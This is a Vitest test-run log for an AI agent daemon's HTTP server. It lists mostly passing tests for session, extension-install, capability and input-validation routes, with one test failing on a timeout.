✓ detectFromLoopback (#4335 / 3272581557) > detectFromLoopback(::ffff:127.0.0.2) === true 5ms
✓ detectFromLoopback (#4335 / 3272581557) > detectFromLoopback(10.0.0.1) === false 5ms
✓ detectFromLoopback (#4335 / 3272581557) > detectFromLoopback(192.168.1.1) === false 3ms
✓ detectFromLoopback (#4335 / 3272581557) > detectFromLoopback(1.2.3.4) === false 2ms
✓ detectFromLoopback (#4335 / 3272581557) > detectFromLoopback(::) === false 2ms
✓ detectFromLoopback (#4335 / 3272581557) > detectFromLoopback(fe80::1) === false 2ms
✓ detectFromLoopback (#4335 / 3272581557) > detectFromLoopback(127) === false 1ms
✓ detectFromLoopback (#4335 / 3272581557) > detectFromLoopback() === false 1ms
✓ detectFromLoopback (#4335 / 3272581557) > returns false for missing socket (fail-closed) 3ms
✓ detectFromLoopback (#4335 / 3272581557) > does NOT consult X-Forwarded-For or any HTTP header (security) 4ms
✓ createServeApp > rejects client-MCP over WS with an injected bridge but no matching sender registry 626ms
✓ createServeApp > serve capability registry > returns a fresh ordered registered feature list 63ms
✓ createServeApp > serve capability registry > advertises current-protocol features separately from the registry 30ms
✓ createServeApp > serve capability registry > advertises `require_auth` only when the runtime toggle is on (#4175 PR 15) 55ms
✓ createServeApp > serve capability registry > advertises `voice_transcribe` only when the voice WebSocket route is active 27ms
✓ createServeApp > serve capability registry > honors every entry in CONDITIONAL_SERVE_FEATURES (PR #4236 review #3254467192 — drift insurance) 264ms
✓ createServeApp > serve capability registry > marks every current feature with its historical v1 origin 23ms
✓ createServeApp > serve capability registry > exposes `modes` metadata on mcp_guardrails (#4175 PR 14) 21ms
✓ createServeApp > serve capability registry > registers mcp_guardrail_events as a baseline tag (#4175 PR 14b) 5ms
✓ createServeApp > serve capability registry > registers mcp_server_runtime_mutation as a baseline tag (T2.8 #4514) 8ms
✓ createServeApp > serve capability registry > returns protocol version metadata with a fresh supported array 10ms
✓ createServeApp > Web Shell static serving > serves the shell at the root with security headers 2488ms
✓ createServeApp > Web Shell static serving > allows configured extension origins to frame the shell without self-framing 326ms
✓ createServeApp > Web Shell static serving > serves hashed asset chunks from /assets 237ms
✓ createServeApp > Web Shell static serving > returns 404 (not the shell) for a missing asset 324ms
✓ createServeApp > Web Shell static serving > falls back to the shell for SPA deep-link navigations 482ms
✓ createServeApp > Web Shell static serving > leaves non-navigation API misses as JSON 404s 365ms
✓ createServeApp > Web Shell static serving > does not mount the UI when serveWebShell is false 182ms
✓ createServeApp > Web Shell static serving > stays API-only when no webShellDir is injected 161ms
✓ createServeApp > Web Shell static serving > does not serve the shell for POST navigations (method guard) 502ms
✓ createServeApp > Web Shell static serving > falls back to the shell on a sec-fetch navigation signal 558ms
✓ createServeApp > Web Shell static serving > does not shadow /health on a browser navigation (Critical #1) 402ms
✓ createServeApp > Web Shell static serving > returns 500 when index.html is unreadable after mount 218ms
✓ createServeApp > Web Shell static serving > serves the shell when webShellDir is under a dotfile path (e.g. ~/.nvm) 312ms
✓ createServeApp > Web Shell static serving > isDocumentNavigation recognizes each navigation signal 27ms
✓ createServeApp > Web Shell static serving > resolveWebShellDir returns undefined or a dir with index.html + assets 38ms
✓ createServeApp > Web Shell static serving > serves the shell pre-auth while the API stays token-gated 236ms
✓ createServeApp > GET /health > returns 200 ok 193ms
✓ createServeApp > GET /workspace/channel/observed-contacts > is assembled behind bearer authentication 275ms
✓ createServeApp > GET /capabilities > advertises session generation only when every bridge supports it 547ms
✓ createServeApp > GET /capabilities > advertises workspace generation only when the primary bridge supports it 394ms
✓ createServeApp > GET /capabilities > returns the v1 envelope 259ms
✓ createServeApp > GET /capabilities > omits artifact persistence when the durable sink is unavailable 180ms
✓ createServeApp > GET /capabilities > reflects a dynamically added workspace and persistence support 277ms
✓ createServeApp > GET /capabilities > reports the current primary runtime permission policy after replacement 173ms
✓ createServeApp > GET /capabilities > advertises scratch only with a compatible root and complete disposal owner 714ms
✓ createServeApp > GET /capabilities > advertises workspace voice transcription when a batch ASR model is configured 809ms
✓ createServeApp > GET /capabilities > rejects primary voice admission while its runtime is transitioning 374ms
✓ createServeApp > GET /capabilities > returns runtime unavailable before trust errors while primary trust is applying 878ms
✓ createServeApp > GET /capabilities > rejects an MCP control result completed by a stale generation 233ms
✓ createServeApp > GET /capabilities > drops cached Voice capability and runtime env while trust is applying 467ms
✓ createServeApp > GET /capabilities > loads workspace environment for direct-embed Voice capability checks 282ms
✓ createServeApp > GET /capabilities > reports disabled prompt queue cap as null in capabilities 176ms
✓ createServeApp > GET /capabilities > reports explicit prompt queue cap in capabilities 169ms
✓ createServeApp > GET /capabilities > advertises browser automation MCP only when the CDP adapter can connect 435ms
✓ createServeApp > GET /capabilities > omits mcp_workspace_pool / mcp_pool_restart when mcpPoolActive=false (F2 #4175 commit 5) 173ms
✓ createServeApp > GET /capabilities > reports the bound workspace (#3803 §02) 801ms
✓ createServeApp > GET /capabilities > falls back to process.cwd() when --workspace is omitted 314ms
✓ createServeApp > GET /capabilities > omits the `require_auth` feature tag by default (#4175 PR 15) 207ms
✓ createServeApp > GET /capabilities > advertises `require_auth` when the daemon was started with --require-auth 199ms
✓ createServeApp > GET /capabilities > omits `session_shell_command` by default 198ms
✓ createServeApp > GET /capabilities > omits `session_shell_command` when enabled without a token 294ms
✓ createServeApp > GET /capabilities > advertises `session_shell_command` only when enabled with a token 176ms
✓ createServeApp > GET /capabilities > treats an empty token string as no token for session shell capability 186ms
✓ createServeApp > read-only status routes > registers workspace permissions without settings persistence and requires a live session for writes 558ms
✓ createServeApp > read-only status routes > returns workspace MCP status from the bridge 164ms
✓ createServeApp > read-only status routes > round-trips PR 14 budget fields on /workspace/mcp 166ms
✓ createServeApp > read-only status routes > returns workspace skills from the bridge and providers from daemon-local settings 433ms
✓ createServeApp > read-only status routes > rejects workspace ACP preheat timeouts above the route cap 173ms
✓ createServeApp > read-only status routes > rejects malformed workspace ACP preheat timeout /workspace/acp/preheat?timeoutMs= 209ms
✓ createServeApp > read-only status routes > rejects malformed workspace ACP preheat timeout /workspace/acp/preheat?timeoutMs=1&timeoutMs=2 146ms
✓ createServeApp > read-only status routes > returns workspace ACP preheat status without a timeout override 160ms
✓ createServeApp > read-only status routes > returns workspace ACP preheat status with a valid timeout override 152ms
✓ createServeApp > read-only status routes > allows loopback mutation auth before preheating the ACP child 154ms
✓ createServeApp > read-only status routes > returns workspace ACP channel status 150ms
✓ createServeApp > read-only status routes > returns workspace tools status from the bridge 150ms
✓ createServeApp > read-only status routes > returns workspace env status from the bridge 165ms
✓ createServeApp > read-only status routes > returns workspace preflight status from the bridge 5446ms
✓ createServeApp > read-only status routes > returns workspace hooks status from the bridge 155ms
✓ createServeApp > read-only status routes > returns session hooks status from the bridge 216ms
✓ createServeApp > read-only status routes > returns workspace extensions status without depending on a live session 1146ms
✓ createServeApp > read-only status routes > caches local workspace extension status briefly 702ms
✓ createServeApp > read-only status routes > redacts extension source URLs in workspace extension status 237ms
✓ createServeApp > read-only status routes > queues extension install without a workspace client id 494ms
✓ createServeApp > read-only status routes > rejects extension install from an unknown workspace client id 296ms
✓ createServeApp > read-only status routes > does not treat unknown workspace trust as trusted for extension install 417ms
✓ createServeApp > read-only status routes > queues extension install and refreshes active sessions 630ms
✓ createServeApp > read-only status routes > accepts a marketplace plugin selection while installing 522ms
✓ createServeApp > read-only status routes > fails an install when a marketplace has no plugins 281ms
✓ createServeApp > read-only status routes > cancels an extension interaction from the client 766ms
✓ createServeApp > read-only status routes > fails an extension operation when its interaction times out 898ms
✓ createServeApp > read-only status routes > cancels a pending install interaction before queuing a new install 678ms
✓ createServeApp > read-only status routes > rejects a superseded install that requests input after replacement 476ms
✓ createServeApp > read-only status routes > does not cancel a pending interaction when the queue is full 1139ms
✓ createServeApp > read-only status routes > reports queued and running extension operation states 718ms
✓ createServeApp > read-only status routes > commits in preparation completion order 520ms
✓ createServeApp > read-only status routes > maps coded commit warnings to the legacy refresh-error status 285ms
✓ createServeApp > read-only status routes > maps resultless committed warnings to a legacy top-level error 335ms
✓ createServeApp > read-only status routes > evicts the oldest terminal extension operations 764ms
✓ createServeApp > read-only status routes > preserves a waiting operation while evicting terminal history 661ms
✓ createServeApp > read-only status routes > returns 404 for unknown extension operation ids 164ms
✓ createServeApp > read-only status routes > broadcasts a failed extension install with redacted error details 345ms
✓ createServeApp > read-only status routes > does not report a successful extension install as failed when session refresh fails 292ms
✓ createServeApp > read-only status routes > rejects extension mutations when the operation queue is full 1231ms
✓ createServeApp > read-only status routes > requires explicit consent for extension install 201ms
✓ createServeApp > read-only status routes > rejects an empty extension install ref 149ms
✓ createServeApp > read-only status routes > validates extension install option types 152ms
✓ createServeApp > read-only status routes > rejects unsupported local extension installs before queuing 215ms
✓ createServeApp > read-only status routes > rejects missing Windows local extension sources before queuing 174ms
✓ createServeApp > read-only status routes > rejects extension source hosts on blocked networks 167ms
✓ createServeApp > read-only status routes > rejects extension source URLs with unsupported protocols 299ms
✓ createServeApp > read-only status routes > rejects extension ssh source hosts with legacy private IP encodings 1024ms
✓ createServeApp > read-only status routes > rejects extension ssh source hosts with bracketed private IPv6 literals 618ms
✓ createServeApp > read-only status routes > rejects extension install refs that look like git options 150ms
✓ createServeApp > read-only status routes > rejects extension source URLs with credentials 258ms
✓ createServeApp > read-only status routes > rejects an npm extension install with ref before queuing 154ms
✓ createServeApp > read-only status routes > rejects registry use for non-npm extension installs before queuing 184ms
✓ createServeApp > read-only status routes > rejects non-https npm registries 154ms
✓ createServeApp > read-only status routes > rejects invalid npm registry URLs 170ms
✓ createServeApp > read-only status routes > rejects npm registries on blocked networks 188ms
✓ createServeApp > read-only status routes > rejects npm registries with credentials 198ms
✓ createServeApp > read-only status routes > returns extension update states from check-updates 236ms
✓ createServeApp > read-only status routes > shares the two preparation slots with check-updates 627ms
✓ createServeApp > read-only status routes > validates extension enable scope 159ms
✓ createServeApp > read-only status routes > queues extension enable and disable mutations 277ms
✓ createServeApp > read-only status routes > queues extension enable and disable without a workspace client id 251ms
✓ createServeApp > read-only status routes > refreshes extensions for all sessions on request 228ms
✓ createServeApp > read-only status routes > does not block manual refresh behind preparation 351ms
✓ createServeApp > read-only status routes > serializes manual refresh behind an extension commit 311ms
✓ createServeApp > read-only status routes > rejects extension update from an unknown workspace client id 175ms
✓ createServeApp > read-only status routes > queues extension update when an update is available 230ms
✓ createServeApp > read-only status routes > accepts a setting interaction while updating 331ms
✓ createServeApp > read-only status routes > broadcasts failed extension update when the extension is missing 903ms
✓ createServeApp > read-only status routes > broadcasts failed extension update when no update is available 524ms
✓ createServeApp > read-only status routes > broadcasts failed extension update when update check fails 214ms
✓ createServeApp > read-only status routes > queues extension uninstall without a workspace client id 309ms
✓ createServeApp > read-only status routes > queues extension uninstall mutations 229ms
✓ createServeApp > read-only status routes > queues extension uninstall mutations by source URL 224ms
✓ createServeApp > read-only status routes > does not treat plain extension names as install source lookups 231ms
✓ createServeApp > read-only status routes > does not throw when source lookup sees extensions without install metadata 201ms
✓ createServeApp > read-only status routes > returns read-only session snapshots from the bridge 355ms
✓ createServeApp > read-only status routes > dispatches read-only session snapshots through the live owner runtime 182ms
✓ createServeApp > read-only status routes > surfaces live owner scan failures as structured bridge errors on owner-routed reads 1969ms
✓ createServeApp > read-only status routes > returns session context-usage from the bridge 645ms
✓ createServeApp > read-only status routes > passes detail query param to context-usage bridge call 266ms
✓ createServeApp > read-only status routes > maps missing sessions on read-only session routes to 404 575ms
✓ createServeApp > read-only status routes > rejects task cancellation with invalid kind 461ms
✓ createServeApp > read-only status routes > cancels a session task through the bridge 191ms
✓ createServeApp > read-only status routes > resolves and cancels a virtual subagent through its routes 252ms
✓ createServeApp > read-only status routes > requires the parent runtime for virtual heartbeat and detach 499ms
✓ createServeApp > read-only status routes > serves virtual session stubs without calling the parent bridge 727ms
✓ createServeApp > read-only status routes > maps task cancellation bridge errors 219ms
✓ createServeApp > read-only status routes > clears a session goal through the bridge 192ms
✓ createServeApp > read-only status routes > maps goal clear bridge errors 229ms
✓ createServeApp > read-only status routes > returns cleared false when no session goal is active 170ms
✓ createServeApp > read-only status routes > continues a session through the bridge 164ms
✓ createServeApp > read-only status routes > forwards X-Qwen-Client-Id to continueSession 189ms
✓ createServeApp > read-only status routes > maps session continue bridge errors 970ms
✓ createServeApp > POST /session/:id/mid-turn-message > 200 { accepted: true } and forwards the trimmed message + client id 350ms
✓ createServeApp > POST /session/:id/mid-turn-message > 200 { accepted: false } when the bridge rejects (idle session) 304ms
✓ createServeApp > POST /session/:id/mid-turn-message > 400 when `message` is missing 198ms
✓ createServeApp > POST /session/:id/mid-turn-message > 400 when `message` is whitespace-only 201ms
✓ createServeApp > POST /session/:id/mid-turn-message > 400 when the trimmed message exceeds the 16 KB cap 243ms
✓ createServeApp > POST /session/:id/mid-turn-message > maps a bridge SessionNotFoundError to 404 182ms
✓ createServeApp > POST /session/:id/mid-turn-message > 400 on a malformed X-Qwen-Client-Id (never reaches the bridge) 170ms
✓ createServeApp > POST /session/:id/mid-turn-message > maps a bridge InvalidClientIdError to 400 invalid_client_id 162ms
✓ createServeApp > DELETE /session/:id/mid-turn-messages/:messageId > removes the message and forwards client identity 165ms
✓ createServeApp > DELETE /session/:id/mid-turn-messages/:messageId > returns removed:false when the message already left the queue 257ms
✓ createServeApp > GET /session/:id/pending-prompts > 200 with pending prompts list 187ms
✓ createServeApp > GET /session/:id/pending-prompts > 200 with empty list when no prompts pending 160ms
✓ createServeApp > GET /session/:id/pending-prompts > 404 for unknown session 143ms
✓ createServeApp > GET /session/:id/pending-prompts > 400 when bridge throws InvalidClientIdError 157ms
✓ createServeApp > DELETE /session/:id/pending-prompts/:promptId > 200 { removed: true } when prompt exists 154ms
✓ createServeApp > DELETE /session/:id/pending-prompts/:promptId > 200 { removed: false } when promptId not found 169ms
✓ createServeApp > DELETE /session/:id/pending-prompts/:promptId > 404 for unknown session 153ms
✓ createServeApp > DELETE /session/:id/pending-prompts/:promptId > 400 when bridge throws InvalidClientIdError 219ms
✓ createServeApp > host allowlist (loopback bind) > rejects requests with an unrelated Host header 183ms
✓ createServeApp > host allowlist (loopback bind) > accepts host.docker.internal so containers can reach the host daemon 140ms
✓ createServeApp > middleware order — auth runs before body parser > rejects unauthorized POST without parsing the (possibly huge) body 155ms
✓ createServeApp > CORS / browser origin denial > returns a deterministic 403 JSON when an Origin header is present 158ms
✓ createServeApp > CORS / browser origin denial > accepts requests with no Origin header (CLI/SDK clients) 155ms
✓ createServeApp > CORS / browser origin denial > also rejects POSTs with an Origin header 145ms
✓ createServeApp > POST /session > 200 when cwd is omitted (falls back to bound workspace, #3803 §02) 234ms
✓ createServeApp > POST /session > returns retryable unavailable while the only workspace runtime is being replaced 221ms
✓ createServeApp > POST /session > reaps a session created by a generation that closes in flight 239ms
✓ createServeApp > POST /session > forwards valid session source metadata to the bridge 194ms
✓ createServeApp > POST /session > rejects sourceId without sourceType 221ms
✓ createServeApp > POST /session > forwards a valid UUID sessionId to the bridge 832ms
✓ createServeApp > POST /session > normalizes uppercase sessionId to lowercase 541ms
✓ createServeApp > POST /session > 500 when the bridge does not honor the requested sessionId 221ms
✓ createServeApp > POST /session > 409 when sessionId already exists (active or archived) 294ms
✓ createServeApp > POST /session > runs the sessionId existence check inside runWithRuntimeBaseDir 197ms
✓ createServeApp > POST /session > 409 when concurrent request has same sessionId in flight 354ms
✓ createServeApp > POST /session > releases inFlightSessionIds after a spawn failure (finally cleanup) 264ms
✓ createServeApp > POST /session > 409 when the sessionId is live on the daemon but not yet on disk 180ms
✓ createServeApp > POST /session > 400 for UUID shapes the CLI isValidSessionId rejects 340ms
✓ createServeApp > POST /session > 400 when sessionId is not a UUID (path traversal guard) 314ms
✓ createServeApp > POST /session > 400 when cwd is relative 227ms
✓ createServeApp > POST /session > 400 when cwd is present but not a string (#3803 §02 — distinguishes omitted vs malformed) 585ms
✓ createServeApp > POST /session > 400 when cwd is the empty string 165ms
✓ createServeApp > POST /session > 400 when cwd exceeds MAX_WORKSPACE_PATH_LENGTH (memory amplification guard) 144ms
✓ createServeApp > POST /session > 400 workspace_mismatch when bridge rejects cross-workspace cwd (#3803 §02) 189ms
✓ createServeApp > POST /session > 200 with the BridgeSession shape on success 267ms
✓ createServeApp > POST /session > passes through a valid `sessionScope` to the bridge (#4175 PR 5) 298ms
✓ createServeApp > POST /session > forwards X-Qwen-Client-Id to the bridge on create/attach 169ms
✓ createServeApp > POST /session > 400 invalid_client_id for malformed client id headers 170ms
✓ createServeApp > POST /session > 204 detaches without client identity when X-Qwen-Client-Id is absent 179ms
✓ createServeApp > POST /session > 400 invalid_session_scope when `sessionScope` is not "single"/"thread" 1631ms
✓ createServeApp > POST /session > omits `sessionScope` from the bridge request when the field is absent 241ms
✓ createServeApp > POST /session > 500 when bridge throws 256ms
✓ createServeApp > POST /session > strips prototype-pollution keys from body (BZ9uv/va/vs/wD) 183ms
✓ createServeApp > POST /session > creates a worktree session and relocates via changeSessionCwd 335ms
✓ createServeApp > POST /session > 400 when worktree is requested on a non-git workspace 267ms
✓ createServeApp > POST /session > 400 when worktree slug is invalid 165ms
✓ createServeApp > POST /session > 400 when worktree is not an object 168ms
✓ createServeApp > POST /session > 400 when branch name ends with .git 171ms
✓ createServeApp > POST /session > 400 when branch and worktree are both requested 215ms
✓ createServeApp > POST /session > 400 when branch is not an object 187ms
✓ createServeApp > POST /session > 400 when branch name is empty 181ms
✓ createServeApp > POST /session > 400 when branch name feat/../x is rejected by validation 172ms
✓ createServeApp > POST /session > 400 when branch name feat//x is rejected by validation 216ms
✓ createServeApp > POST /session > 400 when branch name feat@{1} is rejected by validation 155ms
✓ createServeApp > POST /session > 400 when branch name feat.lock is rejected by validation 146ms
✓ createServeApp > POST /session > 400 when branch name .hidden is rejected by validation 147ms
✓ createServeApp > POST /session > 400 when branch name -feat is rejected by validation 157ms
✓ createServeApp > POST /session > 400 when branch name HEAD is rejected by validation 155ms
✓ createServeApp > POST /session > 400 when branch is requested on a non-git workspace 154ms
✓ createServeApp > POST /session > 500 when worktree creation fails 195ms
✓ createServeApp > POST /session > 409 when branch already exists 266ms
✓ createServeApp > POST /session > 409 when working tree is dirty 193ms
✓ createServeApp > POST /session > 500 when git checkout -b fails 181ms
✓ createServeApp > POST /session > rolls back the partial branch when checkout fails after HEAD moved 185ms
✓ createServeApp > POST /session > 409 when a live non-worktree session already runs in the workspace 157ms
✓ createServeApp > POST /session > allows branch creation when only a worktree session shares the workspace 178ms
✓ createServeApp > POST /session > allows branch creation when the sharing session has no attached client 178ms
✓ createServeApp > POST /session > 400 on branch names exceeding the byte-length caps 412ms
✓ createServeApp > POST /session > accepts a branch name at the byte-length boundary 156ms
✓ createServeApp > POST /session > 200 with branch metadata on successful branch creation 153ms
✓ createServeApp > POST /session > rolls back the branch when spawn fails 158ms
✓ createServeApp > POST /session > rollback skips branch deletion when the base-ref checkout fails 191ms
✓ createServeApp > POST /session > 400 on branch names containing whitespace or control characters 573ms
✓ createServeApp > POST /session > self-heals a stale branch entry when the prior session is gone (no spurious 409) 208ms
✓ createServeApp > POST /session > 409 when a branch session is already active for the workspace 297ms
✓ createServeApp > POST /session > 409 on concurrent branch creation race (reserve re-checks activeBranchSessions) 233ms
✓ createServeApp > POST /session/:id/load and /resume > reports resume as unsupported for virtual subagent sessions 183ms
✓ createServeApp > POST /session/:id/load and /resume > passes the requested initial history page size to load 213ms
✓ createServeApp > POST /session/:id/load and /resume > does not restore through a closed runtime generation 178ms
✓ createServeApp > POST /session/:id/load and /resume > falls back to bound workspace and uses the route session id 341ms
✓ createServeApp > POST /session/:id/load and /resume > releases restore ownership after invalid approvalMode 265ms
✓ createServeApp > POST /session/:id/load and /resume > passes explicit primary cwd through to the bridge 178ms
✓ createServeApp > POST /session/:id/load and /resume > surfaces response-mode replay details from load 162ms
✓ createServeApp > POST /session/:id/load and /resume > passes client identity headers through to load/resume bridge calls 319ms
✓ createServeApp > POST /session/:id/load and /resume > 400s malformed cwd before touching the bridge 280ms
✓ createServeApp > POST /session/:id/load and /resume > 400s unknown explicit cwd before touching the bridge 325ms
✓ createServeApp > POST /session/:id/load and /resume > 400s a non-string cwd before touching the bridge 1164ms
✓ createServeApp > POST /session/:id/load and /resume > 400s a cwd longer than MAX_WORKSPACE_PATH_LENGTH before touching the bridge 294ms
✓ createServeApp > POST /session/:id/load and /resume > 404s when the bridge reports an unknown persisted session 909ms
✓ createServeApp > POST /session/:id/load and /resume > 409 + Retry-After when the bridge throws RestoreInProgressError 477ms
✓ createServeApp > POST /session/:id/load and /resume > 400 workspace_mismatch before touching the bridge for non-primary cwd 185ms
✓ createServeApp > POST /session/:id/load and /resume > loads an explicit trusted non-primary cwd through that workspace runtime 224ms
✓ createServeApp > POST /session/:id/load and /resume > rejects restore when the session id is already live in another runtime 182ms
✓ createServeApp > POST /session/:id/load and /resume > keeps a transitioning in-flight restore owner scoped to its workspace 355ms
✓ createServeApp > POST /session/:id/load and /resume > surfaces live owner scan failures before restoring into a workspace runtime 213ms
✓ createServeApp > POST /session/:id/load and /resume > 503 + Retry-After: 5 when the bridge throws SessionLimitExceededError 168ms
✓ createServeApp > POST /session/:id/load and /resume > restores worktree isolation on load when sidecar exists 208ms
✓ createServeApp > POST /session/:id/load and /resume > skips worktree restore when no sidecar exists 178ms
✓ createServeApp > POST /session/:id/load and /resume > returns 200 without worktree when changeSessionCwd fails 199ms
✓ createServeApp > POST /session/:id/load and /resume > skips restore when sidecar path fails containment check 190ms
✓ createServeApp > POST /session/:id/prompt > 202 with promptId on success; route :id wins over body sessionId 289ms
✓ createServeApp > POST /session/:id/prompt > 202 envelope carries eventEpoch alongside lastEventId (DAEMON-001) 174ms
✓ createServeApp > POST /session/:id/prompt > passes client identity and promptId context into bridge.sendPrompt 198ms
✓ createServeApp > POST /session/:id/prompt > validates delivery and forwards it only through trusted prompt context 189ms
✓ createServeApp > POST /session/:id/prompt > rejects malformed prompt delivery before bridge admission 156ms
✓ createServeApp > POST /session/:id/prompt > adds the generated promptId to the active daemon request span 165ms
✓ createServeApp > POST /session/:id/prompt > 400 when prompt body is missing 157ms
✓ createServeApp > POST /session/:id/prompt > 404 when bridge reports unknown session 150ms
✓ createServeApp > POST /session/:id/prompt > 202 even when bridge errors asynchronously (turn_error event covers failure) 202ms
✓ createServeApp > POST /session/:id/prompt > 400 without promptId when bridge rejects invalid client admission synchronously 211ms
✓ createServeApp > POST /session/:id/prompt > 503 without promptId when bridge rejects prompt admission synchronously 170ms
✓ createServeApp > POST /session/:id/prompt > passes an AbortSignal into bridge.sendPrompt 180ms
✓ createServeApp > POST /session/:id/prompt > non-blocking prompt returns 202 and fires sendPrompt asynchronously 166ms
✓ createServeApp > GET /workspace/:id/sessions > returns the list returned by the bridge 263ms
✓ createServeApp > GET /workspace/:id/sessions > returns runtime state and pending interaction details 173ms
✓ createServeApp > GET /workspace/:id/sessions > supports plural /workspaces/:workspace/sessions for non-primary live sessions 190ms
✓ createServeApp > GET /workspace/:id/sessions > includes persisted sessions from the CLI session store 1330ms
✓ createServeApp > GET /workspace/:id/sessions > preserves persisted createdAt when a live entry exists 258ms
✓ createServeApp > GET /workspace/:id/sessions > keeps persisted source metadata paired during a live merge 255ms
✓ createServeApp > GET /workspace/:id/sessions > returns an empty array when no sessions exist for the workspace 170ms
✓ createServeApp > GET /workspace/:id/sessions > returns nextCursor when more persisted sessions exist 297ms
✓ createServeApp > GET /workspace/:id/sessions > paginates with cursor query param 367ms
✓ createServeApp > GET /workspace/:id/sessions > lists archived sessions without merging live sessions 232ms
✓ createServeApp > GET /workspace/:id/sessions > rejects invalid archiveState values 228ms
✓ createServeApp > GET /workspace/:id/sessions > merges live sessions only on first page (no cursor) 275ms
✓ createServeApp > GET /workspace/:id/sessions > includes a live-only session on an untruncated first page even if it persists to disk between the scan and the existence check 77ms
✓ createServeApp > GET /workspace/:id/sessions > 400 invalid_cursor when cursor is not valid: abc 201ms
✓ createServeApp > GET /workspace/:id/sessions > 400 invalid_cursor when cursor is not valid: -1 165ms
✓ createServeApp > GET /workspace/:id/sessions > 400 invalid_cursor when cursor is not valid: Infinity 170ms
✓ createServeApp > GET /workspace/:id/sessions > 400 invalid_cursor when cursor is not valid: 9007199254740992 179ms
✓ createServeApp > GET /workspace/:id/sessions > 400 invalid_cursor when cursor is not valid: 177ms
✓ createServeApp > GET /workspace/:id/sessions > accepts fractional mtime cursor values 269ms
✓ createServeApp > GET /workspace/:id/sessions > passes fractional cursor values to SessionService without truncating 33ms
✓ createServeApp > GET /workspace/:id/sessions > lists organized sessions pinned first and filters by custom group 1484ms
✓ createServeApp > GET /workspace/:id/sessions > updates and deletes session groups through REST 818ms
✓ createServeApp > GET /workspace/:id/sessions > rejects singular session-group mutations when the selected runtime is unavailable 249ms
✓ createServeApp > GET /workspace/:id/sessions > returns session organization errors for invalid REST inputs 604ms
✓ createServeApp > GET /workspace/:id/sessions > assigns a quick color tag through REST and surfaces it in organized lists 510ms
✓ createServeApp > GET /workspace/:id/sessions > paginates organized sessions with opaque cursors 585ms
× createServeApp > GET /workspace/:id/sessions > reports organized session truncation in the response 30265ms
→ Test timed out in 30000ms.
If this is a long-running test, pass a timeout value as the last argument or configure it globally with "testTimeout".
✓ createServeApp > GET /workspace/:id/sessions > stops organized session scans when a cursor page is empty 1011ms
✓ createServeApp > GET /workspace/:id/sessions > allows session organization mutations on loopback without a token 1208ms
✓ createServeApp > GET /workspace/:id/sessions > applies organization metadata to live-only sessions in organized lists 510ms
✓ createServeApp > GET /workspace/:id/sessions > excludes live sessions from subsequent pages to prevent cross-page duplicates 747ms
✓ createServeApp > GET /workspace/:id/sessions > clamps size=0 to 1 313ms
✓ createServeApp > GET /workspace/:id/sessions > ignores malformed size query values 1267ms
✓ createServeApp > GET /workspace/:id/sessions > clamps unsafe finite HTTP size values to the max page size 1206ms
✓ createServeApp > GET /workspace/:id/sessions > uses the default page size for invalid non-HTTP size values 2833ms
✓ createServeApp > GET /workspace/:id/sessions > clamps size=200 to max page size 1062ms
✓ createServeApp > GET /workspace/:id/sessions > 400 workspace_mismatch when querying a cross-workspace path (#3803 §02) 312ms
✓ createServeApp > GET /workspace/:id/sessions > 400 when :id does not decode to an absolute path 221ms
✓ createServeApp > GET /workspace/:id/sessions > parentSessionId filter > returns only the sessions spawned by the given parent 577ms
✓ createServeApp > GET /workspace/:id/sessions > parentSessionId filter > returns an empty list when no session has the parent 142ms
✓ createServeApp > GET /workspace/:id/sessions > parentSessionId filter > paginates matches with an opaque cursor across pages 427ms
✓ createServeApp > GET /workspace/:id/sessions > parentSessionId filter > rejects parent A's cursor replayed against parent B (cursor is parent-scoped) 293ms
✓ createServeApp > GET /workspace/:id/sessions > parentSessionId filter > rejects a parent cursor reused across archiveState (active → archived) 177ms
✓ createServeApp > GET /workspace/:id/sessions > parentSessionId filter > HTTP: 400 invalid_cursor when parent A's cursor is replayed against parent B 578ms
✓ createServeApp > GET /workspace/:id/sessions > parentSessionId filter > HTTP: returns the filtered list for ?parentSessionId=P 292ms
✓ createServeApp > GET /workspace/:id/sessions > parentSessionId filter > HTTP: 400 invalid_parent_session_filter with view=organized 195ms
✓ createServeApp > GET /workspace/:id/sessions > parentSessionId filter > HTTP: 400 invalid_parent_session_id for an empty parentSessionId 175ms
✓ createServeApp > GET /workspace/:id/sessions > session source filter > includes legacy sessions in the default source filter 874ms
✓ createServeApp > GET /workspace/:id/sessions > session source filter > returns persisted sessions matching sourceType and sourceId 287ms
✓ createServeApp > GET /workspace/:id/sessions > session source filter > rejects sourceId without sourceType 221ms
✓ createServeApp > GET /workspace/:id/session-info > returns persisted totals with disk-scan cost markers and live count 308ms
✓ createServeApp > GET /workspace/:id/session-info > marks lower-bound HTTP results as truncated 259ms
✓ createServeApp > GET /workspace/:id/session-info > supports plural /workspaces/:workspace/session-info for non-primary workspaces 249ms
✓ createServeApp > GET /workspace/:id/session-info > omits live state for an untrusted secondary workspace 250ms
✓ createServeApp > GET /workspace/:id/session-info > returns zeros when the chats directory is empty 214ms
✓ createServeApp > GET /workspace/:id/session-info > returns session_info_failed when the persisted scan fails 229ms
✓ createServeApp > GET /session/:id/status > 200 with the live session summary 244ms
✓ createServeApp > GET /session/:id/status > 200 omits displayName when the live session has none 165ms
✓ createServeApp > GET /session/:id/status > 200 includes pending interaction details for a single session 170ms
✓ createServeApp > GET /session/:id/status > 404 when the session id is unknown to the daemon 180ms
✓ createServeApp > session artifact routes > GET /session/:id/artifacts returns the bridge snapshot 195ms
✓ createServeApp > session artifact routes > GET /session/:id/artifacts allows missing client id 615ms
✓ createServeApp > session artifact routes > GET /session/:id/artifacts returns 404 for an unknown session 536ms
✓ createServeApp > session artifact routes > POST /session/:id/artifacts requires strict mutation auth 374ms
✓ createServeApp > session artifact routes > POST /session/:id/artifacts requires a client id 199ms
✓ createServeApp > session artifact routes > POST /session/:id/artifacts forwards body and client context 203ms
✓ createServeApp > session artifact routes > POST /session/:id/artifacts maps artifact validation errors 185ms
✓ createServeApp > session artifact routes > DELETE /session/:id/artifacts/:artifactId requires strict mutation auth 187ms
✓ createServeApp > session artifact routes > DELETE /session/:id/artifacts/:artifactId requires a client id 204ms
✓ createServeApp > session artifact routes > DELETE /session/:id/artifacts/:artifactId is idempotent for missing artifacts 190ms
✓ createServeApp > session artifact routes > DELETE /session/:id/artifacts/:artifactId forwards client context 179ms
✓ createServeApp > session artifact routes > DELETE /session/:id/artifacts/:artifactId maps artifact authorization errors 264ms
✓ createServeApp > POST /session/:id/model > 200 with the agent response on success 211ms
✓ createServeApp > POST /session/:id/model > passes client identity context into bridge.setSessionModel 165ms
✓ createServeApp > POST /session/:id/model > 400 when modelId is missing 176ms
